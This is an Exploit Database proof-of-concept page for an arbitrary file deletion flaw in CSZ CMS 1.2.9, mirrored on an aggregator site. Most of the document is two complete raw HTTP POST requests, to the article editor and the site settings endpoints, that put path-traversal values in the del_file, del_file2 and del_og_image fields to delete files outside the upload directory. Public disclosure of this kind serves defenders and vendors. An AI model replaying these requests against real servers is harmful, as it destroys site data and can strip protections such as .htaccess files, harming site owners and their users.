CSZ CMS 1.2.9 – ‘Multiple’ Arbitrary File Deletion

• Exploit Database
• 34 阅读

• 作者： faisalfs10x
  日期： 2021-07-21
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50148/

• # Exploit Title: CSZ CMS 1.2.9 - 'Multiple' Arbitrary File Deletion
  # Date: 2021-07-20
  # Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
  # Vendor Homepage: https://www.cszcms.com
  # Software Link: https://sourceforge.net/projects/cszcms/files/latest/download
  # Version: 1.2.9
  # Tested on: Windows 10, XAMPP
  # Reference: https://github.com/cskaza/cszcms/issues/32
  
  
  ################
  # Description#
  ################
  
  # CSZ CMS is an open source Content Management System web application that allows to manage all content and settings on the websites. CSZ CMS was built on the basis of Codeigniter3 and design the structure of Bootstrap3. When unsanitized user input is supplied to a file deletion function, an arbitrary file deletion vulnerability arises. This occurs in PHP when the unlink() function is called and user input might affect portions of or the whole affected parameter, which represents the path of the file to remove, without sufficient sanitization. Exploiting the vulnerability allows an attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.
  
  
  ##########
  # PoC 1#
  ##########
  
  Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/editArtSave
  Vulnerable Code: line 116, 131 - cszcms\models\plugin\Article_model.php
  
  Steps to Reproduce:
  
  1. Login as admin
  2. Goto Plugin Manager > Article > edit any article
  3. Upload any image as "Main Picture" and "File Upload" and click save button
  4. Click "Delete File" button for both "Main Picture" and "File Upload" and click save button
  5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_file2"
  
  
  1) Assumed there are files conf_secret_file.php and config_backup.txt in web root
  
  PoC #1) param del_file & del_file2 - Deleting conf_secret_file.php and config_backup.txt files in web root
  
  Request: 
  ========
  
  POST /CSZCMS-V1.2.9/admin/plugin/article/editArtSave/4 HTTP/1.1
  Host: localhost
  Content-Length: 2048
  Cache-Control: max-age=0
  sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
  sec-ch-ua-mobile: ?0
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAMyATk1BfQaBOHvY
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/CSZCMS-V1.2.9/admin/plugin/article/artedit/4
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=l9f1kpqohequemh1q3tt11j36hs99c25
  Connection: close
  
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="title"
  
  article beta
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="keyword"
  
  testing file
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="short_desc"
  
  deletion
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="cat_id"
  
  2
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="content"
  
  <div class="row">
  <div class="col-md-12">
  <p>test for file deletion</p>
  </div>
  </div>
  <p><br><br></p>
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="del_file"
  
  ../../../conf_secret_file.php
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="file_upload"; filename=""
  Content-Type: application/octet-stream
  
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="mainPicture"
  
  2021/1626802955_1.png
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="del_file2"
  
  ../../../config_backup.txt
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="file_upload2"; filename=""
  Content-Type: application/octet-stream
  
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="mainFile"
  
  2021/1626802956_1.png
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="lang_iso"
  
  en
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="active"
  
  1
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="fb_comment_active"
  
  1
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="fb_comment_limit"
  
  5
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="fb_comment_sort"
  
  reverse_time
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY
  Content-Disposition: form-data; name="submit"
  
  Save
  ------WebKitFormBoundaryAMyATk1BfQaBOHvY--
  
  ---
  
  
  
  ##########
  # PoC 2#
  ##########
  
  Vulnerable URL: http://localhost/CSZCMS-V1.2.9/admin/settings/update
  Vulnerable Code: line 944, 958 - cszcms\models\Csz_admin_model.php
  
  Steps to Reproduce:
  
  1. Login as admin
  2. Goto General Menu > Site Setting
  3. Upload any image as "Site Logo" and "Image of og metatag" and click save button
  4. Click "Delete File" button for both "Site Logo" and "Image of og metatag" and click save button
  5. Intercept the request and replace existing image to any files on the server via parameter "del_file" and "del_og_image"
  
  
  2) Assumed there are files conf_secret_file.php and config_backup.txt in web root
  
  PoC #2) param del_file & del_og_image - Deleting conf_secret_file.php and config_backup.txt in web root
  
  Request: 
  ========
  
  POST /CSZCMS-V1.2.9/admin/settings/update HTTP/1.1
  Host: localhost
  Content-Length: 5163
  Cache-Control: max-age=0
  sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
  sec-ch-ua-mobile: ?0
  Upgrade-Insecure-Requests: 1
  Origin: http://localhost
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8cAl5KcKGP0D3Qi2
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: navigate
  Sec-Fetch-User: ?1
  Sec-Fetch-Dest: document
  Referer: http://localhost/CSZCMS-V1.2.9/admin/settings
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9
  Cookie: last_views=a%3A3%3A%7Bi%3A0%3Bi%3A17%3Bi%3A1%3Bi%3A19%3Bi%3A2%3Bi%3A18%3B%7D; __atuvc=5%7C27; c4204054ab0d5b68399458e70744010b_cszsess=t5jloe106o2i5hst51chr5ita9aklieu
  Connection: close
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteTitle"
  
  CSZ CMS Starter
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="title_setting"
  
  2
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteFooter"
  
  &copy; %Y% CSZ CMS Starter
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteKeyword"
  
  CMS, Contact Management System, HTML, CSS, JS, JavaScript, framework, bootstrap, web development, thai, english
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteTheme"
  
  cszdefault
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteLang"
  
  english
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="additional_metatag"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="additional_js"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="pagecache_time"
  
  0
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="assets_static_domain"
  
  demo@cszcms.com
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="html_optimize_disable"
  
  1
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="del_file"
  
  ../../conf_secret_file.php
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="file_upload"; filename=""
  Content-Type: application/octet-stream
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteLogo"
  
  2021/1626800829_logo.png
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="del_og_image"
  
  ../../config_backup.txt
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="og_image"; filename=""
  Content-Type: application/octet-stream
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="ogImage"
  
  2021/1626800829_og.png
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="siteEmail"
  
  demo@cszcms.com
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="email_protocal"
  
  mail
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="smtp_host"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="smtp_user"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="smtp_pass"
  
  123456
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="smtp_port"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="sendmail_path"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="email_logs"
  
  1
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="googlecapt_sitekey"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="googlecapt_secretkey"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="ga_client_id"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="ga_view_id"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="gsearch_cxid"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="gmaps_key"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="gmaps_lat"
  
  -28.621975
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="gmaps_lng"
  
  150.689082
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="fbapp_id"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="facebook_page_id"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="adobe_cc_apikey"
  
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_bg"
  
  #645862
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_fg"
  
  #ffffff
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_link"
  
  #f1d600
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_msg"
  
  This website uses cookies to improve your user experience. By continuing to browse our site you accepted and agreed on our 
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_linkmsg"
  
  Privacy Policy and terms.
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_moreinfo"
  
  https://www.cszcms.com/LICENSE.md
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_txtalign"
  
  left
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="cookieinfo_close"
  
  Got it!
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2
  Content-Disposition: form-data; name="submit"
  
  Save
  ------WebKitFormBoundary8cAl5KcKGP0D3Qi2--
  
  ---
  
  
  # For more explaination, you can refer to the github issue on cszcms via https://github.com/cskaza/cszcms/issues/32
  # The affected version is 1.2.9.